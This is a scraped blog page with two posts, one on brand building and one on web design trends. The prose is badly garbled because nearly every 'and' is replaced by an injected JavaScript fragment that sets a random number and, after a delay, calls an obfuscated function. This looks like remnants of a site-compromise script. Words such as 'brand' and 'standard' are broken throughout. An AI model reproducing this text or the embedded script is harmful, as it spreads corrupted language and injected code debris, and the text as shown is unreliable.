Tag: Popular

09 Sep 2015

What make a brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and successful?

Brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding is a way to distinguish your product or service from the rest of market andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and create a perceived value in the mind of potential customers. For example, in the car world, the Mercedes brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and creates different expectations than the Kia brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and. However, brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding is also important for small businesses that want to standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and out in the market, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the keys to successful brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding include knowing your target customers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and making all your decisions with a focus on what’s important to them.

Define your customers

The first key to successful brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding is to define the types of customers you want to attract. Moms with toddlers or women without children? Men who like drag racing or those who prefer quiet afternoons in nature? Health-conscious individuals or those who don’t know a carrot from a turnip? Make a list of all the types of customers you want your business to attract. Volvo built its brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and on attracting people concerned with auto safety.

Study Your Customers

Find out what is important to the customers you want to attract. If you already have some customers, you can survey them. Otherwise, look at demographic information andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other studies done that provide information about your target customers. Once you know what’s important to your target customers, choose the three or four outcomes that are the most important to your ideal customer.

Be Consistent with Your Brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Position

Using the three or four outcomes you defined, create a brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and position that describes what your business does andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and for whom, the unique value your business offers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how this value is different from the competition, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the benefits the customer gets from your product or service. Also, decide on the one most important thing that your business always promises to deliver to customers. Consistently make all your decisions based on this brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and promise andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and your brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and position.

Create the Elements of Your Brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and

Create a brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and personality — traits you want your business known for — andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, if you have an established business, a brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and story that shows how your business’ history adds value andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and credibility to the brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and. Also, create the physical elements that make up the brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and, including your logo, business tagline, colors, fonts, imagery andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other physical elements used in marketing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and presenting your brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and. These physical brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and associations should reflect your brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and promise andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and all your brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and traits, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and also support your brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and position.

Market Your Brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and

According to Dan Coughin, president of the Coughlin Co., “The key to brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding is reminding the customer of what you want them to remember about your brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and,” andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and he says every contact (including marketing efforts) you have with current or potential customers must reinforce your brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and.

09 Sep 2015

New design trends

Looking for a website refresh andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and don’t know where to start? Some of the trendiest elements in web design right now are fun aesthetically andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and pretty easy to use.

Adding a trendy feature to your current design, or new build, can help create a modern vibe that can help drive visitors to your site. And what’s particularly nice about this tri of trends is that you can use them with existing elements, color andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and typography palettes andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding.

Here’s what’s trending in design this month:

1. Duotone color schemes

Duotone color palettes have been around for a long time, but the recent take adds a color wash effect to a duotone gradient for a full-screen, high impact effect. It’s something that trended out in a major way with flat design, but thanks to stunning usage by Spotify duotone is back.

So what exactly is duotone?

It is the use of two colors to form a palette. In the most basic form, duotone is a complementary combination from the color wheel. In more complex uses, designers are using all kinds of color combinations andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and breaking the rules with pairings.

Most of the duotone effects feature a brightly-colored overlay on top of an image. The duotone effect highlights darks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and lights andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and creates visual impact with stunning color. Spotify uses it in a great way to make standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andard artist photos that you’ve likely seen dozens of times look just different enough to be attention grabbing.

It’s a technique that you can use in a variety of ways. It works with almost any design concept andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and can be used as a full-screen element, such as many of the examples above, to create dominant art. It can also be used to create an interesting background, to accent user interface elements or to help add emphasis to a specific part of the design. Duotone works best when used for a single design element. The technique can be overpowering andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and should be used in moderation.

2. Spilt-screen design

Websites featuring a split-screen design are growing exponentially. The design technique features two panels of content side-by-side. Most of these concepts use a symmetrical outline so that each side of the screen has the same size andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and shape.

The result is a cool, dual content experience on desktop computers andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and (when coded properly) a great screen-by-screen experience on smaller devices, where the panels collapse andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and are stacked scrolling elements.

The design opportunities with the split-screen trend are limitless—half andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and half splits, splits with cards or grid-style elements, a subtle split andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the list goes on. Each side of the design can also drive users to different types of content andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and help you glean valuable user analytics about the type of content that people want to see andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and click on.

Split-screen designs are user-friendly, work well in responsive frameworks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and don’t overpower other design techniques that you might want to use.

Here are a few ways to split the screen effectively:

  • Pair color andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and typography when you don’t have strong visuals.
  • Focus the attention of the user with left to right movement that results in an action.
  • Use color blocking to split the screen andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and give your message plenty of room while increasing readability.
  • Think of a split-screen as oversized cards. Stack container elements in a mosaic or masonry style pattern to showcase different pieces of content.
  • Keep each “screen” simple. The trick to this design concept is the split screen. A minimal style can help add emphasis to the content therein.

3. Typography in a shared space

This is one of those trends you almost have to see, to understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and: typography is extending into shared spaces in the design. Look at most websites andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and there are images andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and backgrounds andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and type. Elements are either made together, such as type on an image, or they are completely separated.

More designers are breaking out of that format andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and creating projects where type extends into the spaces of other elements. It’s interesting andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and fun to look at.

It can also be a challenge to create, because of concerns about readability.

The technique works best with simple typography, such as a medium-stroke sans serif. Text should have plenty of contrast to standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and out from the background andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and any elements it crosses into or across. For this reason, most of the designs using this technique use white or black lettering.

Text also needs to have some size for this to work. Almost as important as color contrast, is contrast in size andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and space. You also have to take special care in how the text moves with different screen sizes or breakpoints so that letters do not cover areas of the image that are vital to your message.

Conclusion

While a lot of design trends come andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and go almost as fast as you start to recognize them, the ones that stick around often work well with other time-tested techniques. That’s what standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands out the most about this trio of modern styles. Each can be worked into a layout for a touch of newness. These techniques are fairly easy to implement (andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and remove later) without destroying your entire aesthetic.

Try one of these techniques for a visual refresh. Think about getting out of your comfort zone a bit with bold color choices or a change just to your homepage. Or go a little more bold andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and try a combination of trendy techniques for a design that really standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ands out.

[From http://www.webdesignerdepot.com/]